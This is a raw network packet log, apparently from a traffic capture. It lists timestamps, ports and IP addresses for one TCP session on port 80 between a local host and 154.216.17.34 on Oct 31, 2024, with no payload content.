Oct 31, 2024 02:09:14.364897013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.364905119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364931107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.364942074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364948988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.364953041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364984989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365008116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365140915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365191936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365271091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365282059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365293026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365305901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365317106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365323067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365353107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365503073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365539074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365550995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365551949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365581989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365596056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365614891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365626097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365638018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365650892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365665913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365693092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365720034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365732908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365745068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365756989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365768909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365787983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365811110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365858078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365870953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365881920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365895987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365910053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365914106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365923882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365938902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365961075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.365971088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365983009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.365993977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.366005898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.366019011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.366034985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.366060019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.366445065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.366457939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.366468906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.366482019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.366501093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.366530895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.366585970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.366599083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.366637945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.367264032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367276907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367331982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.367331982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367345095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367355108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367367029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367377996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367388964 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.367398977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.367424011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.367449999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367463112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367481947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367496014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.367512941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.367523909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.367554903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.368031979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.368045092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.368057013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.368088007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.368109941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.405797005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.405808926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.405819893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.405832052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.405843019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.405945063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.405956984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.405967951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.405978918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.405988932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.405988932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.405988932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.405991077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.405998945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.406040907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.406068087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.406078100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.406088114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.406099081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.406125069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.406136990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.406168938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.406178951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.406194925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.406208038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.406220913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.406224012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.406233072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.406259060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.406285048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420520067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420540094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420552015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420598030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420609951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420622110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420633078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420644045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420656919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420698881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420708895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420715094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420753002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420753002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420753002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420774937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420787096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420797110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420809984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420809984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420829058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420831919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420855999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420864105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420876026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.420882940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420906067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420919895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.420999050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421008110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421017885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421030045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421041012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421046972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.421052933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421081066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.421082020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421092987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421103954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.421138048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.421194077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421240091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.421271086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421282053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421293020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421307087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421318054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421322107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.421350956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.421360016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.421556950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421569109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421578884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.421606064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.421633005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432008982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432023048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432043076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432054043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432065010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432079077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432089090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432092905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432106972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432142973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432143927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432157040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432161093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432168961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432180882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432193041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432193995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432224989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432234049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432276011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432318926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432346106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432358980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432372093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432384968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432391882 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432395935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432411909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432444096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432445049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432456970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432470083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432485104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432487011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432499886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432511091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432516098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432542086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432555914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432610989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432622910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432651043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432658911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432671070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432673931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432702065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432702065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432718039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432730913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432742119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432771921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432776928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432811022 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432840109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432851076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432881117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432883978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432892084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.432921886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.432945013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433034897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433048010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433059931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433084965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433109999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433332920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433356047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433371067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433386087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433401108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433455944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433466911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433478117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433496952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433506012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433510065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433521986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433525085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433552980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433576107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433585882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433598042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433612108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433623075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433624983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433650017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433665037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433671951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433676958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433716059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433744907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433756113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433785915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433801889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.433809042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.433841944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434050083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434098005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434139013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434149027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434160948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434174061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434190035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434197903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434222937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434232950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434237957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434245110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434256077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434267044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434273005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434292078 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434292078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434319019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434345007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434406996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434417963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434427977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434451103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434456110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434469938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434480906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434483051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434494972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434509039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434509039 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434520960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434533119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434539080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434559107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434573889 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434581041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434593916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434604883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.434623003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.434643984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.435543060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.435556889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.435568094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.435595036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.435606003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.457592010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457612038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457622051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457705021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457715034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457726955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457743883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457756996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457775116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457775116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.457787037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457856894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457868099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457923889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457932949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.457932949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.457932949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.457936049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457959890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457967043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.457972050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457983971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.457995892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.458019972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.481595039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.481615067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.481625080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.481651068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.481714010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.481725931 CET	80	49982	154.216.17.34	192.168.2.5
